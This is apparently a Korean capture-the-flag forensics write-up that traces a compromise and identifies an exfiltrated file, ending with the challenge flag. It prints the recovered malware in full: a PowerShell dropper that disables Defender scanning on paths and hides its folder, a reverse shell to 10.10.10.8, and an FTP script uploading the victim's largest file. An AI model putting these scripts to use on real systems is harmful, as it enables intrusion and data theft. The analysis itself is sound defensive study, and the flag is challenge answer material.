문제
유출된 파일 이름
Flag 형식 = FIESTA{(MD5SUM)}
- 유출된 파일의 MD5SUM값을 입력해야 합니다.
- 해쉬값은 대문자입니다.
S-4-1에서 쉘스크립트가 실행된 것을 보았다.
해당 스크립트는 아래와 같았다.
# 시스템 경로 예외 추가
Add-MpPreference -ExclusionPath "C:\Windows\System32"
# PowerShell 실행 정책 설정
$executionPolicyPath = "HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"
$executionPolicyValue = "Unrestricted"
Set-ItemProperty -Path $executionPolicyPath -Name "ExecutionPolicy" -Value $executionPolicyValue
# 압축 라이브러리 추가
Add-Type -AssemblyName System.IO.Compression.FileSystem
# 인터넷 연결 테스트 함수
function Test-InternetConnection {
try {
$request = [System.Net.WebRequest]::Create("http://www.google.com")
$request.Timeout = 10000
$request.Method = "HEAD"
$response = $request.GetResponse()
$response.Close()
return $true
} catch {
return $false
}
}
# 기본 디렉터리 생성 함수
function Create-BaseDirectory {
$directoryPath = "C:\Program Files\Microsoft Mail"
if (!(Test-Path -Path $directoryPath)) {
New-Item -Force -ItemType directory -Path $directoryPath
Write-Output "[+] Base Directory Created"
} else {
Write-Output "[!] Base Directory Already Exists"
}
# 예외 경로 추가
Add-MpPreference -ExclusionPath "C:\Program Files\Microsoft Mail"
}
# 파일 다운로드 함수
function Download-File {
$url1 = "https://www.7-zip.org/a/7z2401-x64.exe"
$dest1 = "C:\Program Files\Microsoft Mail\7z.exe"
$url2 = "https://drive.usercontent.google.com/u/0/uc?id=1OvkcHZnQd91akAGdaQLNWU_HxjNvv9Hl&export=download"
$dest2 = "C:\Program Files\Microsoft Mail\mail.zip"
$client = New-Object System.Net.WebClient
$client.DownloadFile($url1, $dest1)
$client.DownloadFile($url2, $dest2)
Write-Output "[+] Success Download"
}
# 압축 해제 함수
function PWUnzip {
$install7z = "C:\Program Files\Microsoft Mail\7z.exe"
$zipFilePath = "C:\Program Files\Microsoft Mail\mail.zip"
$7zipPath = "C:\Program Files\7-Zip\7z.exe"
# 7-Zip 설치 및 압축 해제
Start-Process $install7z /S -Wait -PassThru
& $7zipPath x $zipFilePath -y
mv rc "C:\Program Files\Microsoft Mail\"
}
# 파일 숨기기 및 정리 함수
function Hide-Action {
Remove-Item -Path "C:\Program Files\Microsoft Mail\mail.zip"
Remove-Item -Path "C:\Program Files\Microsoft Mail\7z.exe"
Remove-Item -Path "C:\Users\torden\Downloads\mail helper.zip"
Remove-Item -Recurse -Path "C:\Users\torden\Downloads\mail helper"
$End_Task = Get-Item "C:\Program Files\Microsoft Mail\" -Force
$End_Task.Attributes = "Hidden"
Write-Output "[+] Success Hidden_Action"
}
# 메인 실행 흐름
Create-BaseDirectory
if (Test-InternetConnection) {
Download-File
PWUnzip
Hide-Action
}
# 작업 디렉터리 이동 및 스크립트 실행
cd "C:\Program Files\Microsoft Mail\rc"
& ".\system.ps1"
해당 디렉토리에 가보니 두 개의 파일이 있었음음
system.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.8", 5555)
& .\class.ps1
class.ps1
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS" + (pwd).PATH + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
리버스 쉘이다.
해당 파일들은 2024년 7월 23일 오전 11:43:37에 생성되었다.
악성 행위는 그 다음에 진행되었을 것이다.
주어진 디스크 이미지에서 로그 파일을 뽑았다.
쉘코드를 실행했기 때문에 쉘 로그를 뽑음
C:\Users\kusti\AppData\Local\Temp\mpev.ps1
ftp를 하는 쉘코드인 것으로 보인다.
mpev.ps1
$path="C:\Users\kusti\Desktop\Work";
$server_ip="ftp://10.10.10.8/";
$id="send001";
$passwd="vkdlftjqj123";
$tymqfsdplx="/";
$vsjnriobex=Get-ChildItem -Path $path | Sort-Object Length -Descending | Select-Object -First 1;
if($vsjnriobex)
{
$bhvkunqarl=$vsjnriobex.FullName;
$dywrutljzc="$server_ip$tymqfsdplx/$($vsjnriobex.Name)";
$reokcjfzxw=New-Object System.Net.WebClient;
$reokcjfzxw.Credentials=New-Object System.Net.NetworkCredential($id,$passwd);
$reokcjfzxw.UploadFile($dywrutljzc,$bhvkunqarl)
}
else{
Write-Host "."
}
난독화를 해제하면 다음과 같다.
$path="C:\Users\kusti\Desktop\Work";
$server_ip="ftp://10.10.10.8/";
$id="send001";
$passwd="vkdlftjqj123";
$biggest_file=Get-ChildItem -Path $path | Sort-Object Length -Descending | Select-Object -First 1;
if($biggest_file)
{
$target_fileName=$biggest_file.FullName;
$uri="$server_ip//$($biggest_file.Name)";
$ftp_initialize=New-Object System.Net.WebClient;
$ftp_initialize.Credentials=New-Object System.Net.NetworkCredential($id,$passwd);
$ftp_initialize.UploadFile($uri,$target_fileName)
}
else{
Write-Host "."
}
C:\Users\kusti\Desktop\Work
디렉토리에 있는 가장 큰 파일을 원격지 서버에 업로드한다.
위 악성행위가 수행된 시점에, 위 디렉토리에 있던 가장 큰 파일은 무엇이었을까?
사실은… 해당 디렉토리를 보면 파일이 그렇게 많지 않다.
따라서 파일 이름의 MD5SUM 값을 다 구해서 일일이 넣어보면 문제는 풀린다.
그러나 좀 더 근거를 가지고 접근하고 싶으니 더 생각해보자.
처음부터 다시 한 번 동작을 짚어보겠다.
- 피해자는 악성 배치 파일을 실행했다.
- 실행된 악성 배치 파일은 함께 있던 악성 파일 powershell.ps1 파일을 실행했다.
- powershell.ps1 파일은 함께 있던 Guide.idb 파일을 디코딩해 악성 커맨드를 뽑았고, 실행했다.
- 실행된 악성 커맨드는 원격지 서버에서 파일을 다운받고, 7-zip 유틸리티를 이용해 백그라운드로 압축 해제 및 실행하도록 했다.
- 그렇게 드롭된 system.ps1 파일은 class.ps1 파일을 실행했다.
- class.ps1 파일은 리버스 쉘로, mpev.ps1을 피해자 컴퓨터에 write했다.
- mpev.ps1 파일은 실행 시점에 상기 디렉토리에 있는 가장 큰 파일을 ftp 를 이용해 원격지 서버에 업로드했다.
파워쉘 스크립트가 핵심적으로 사용됐으므로 침해당한 컴퓨터의 PowerShell 로그를 확인할 것이다.
3번~4번에서 넘어가는 시점에 파워쉘은 파이프라인 IO를 활용해 커맨드를 실행했을 것이다.
즉, 800번 이벤트가 반드시 발생했다.
이벤트 ID 순으로 파워쉘 로그를 정렬해 보았다.
24.08.10 오후 5:12:49
7번의 행위는 반드시 저 시점 이후에 발생한다.
따라서, 저 시점을 기준으로 mpev.ps1 문자열을 포함하는 이벤트를 전부 검색했다.
(위 사진은 찾을 내용 다 찾아봤을 때, 저 시점이 mpev.ps1의 가장 최초 실행 시점임을 뜻한다)
그 결과, 아래와 같이 정리할 수 있었다.
이벤트 ID 403, 파워쉘 중지(powershell.ps1과 mpev.ps1), 24.08.10 오후 5:19:33
이벤트 ID 600, 파워쉘 코드 실행(mpev.ps1), 24.08.10 오후 5:19:32
즉, 24.08.10 오후 5:19:33 이전에 해당 디렉토리에 있던 파일 중 가장 큰 것이 유출되었다는 결론이 나온다.
해당 디렉토리에 있던 파일을 추출해서 크기 내림차순으로 정렬 후 확인했다.
pdoc.png 파일이 조건에 부합하는 파일 중 가장 큰 것으로 확인되었다.
해당 파일의 MD5SUM 값을 CyberChef로 구해 보았다.
따라서 플래그는 다음과 같다.
FIESTA{75C1AB24F0B76C54AA76F464F66E72CA}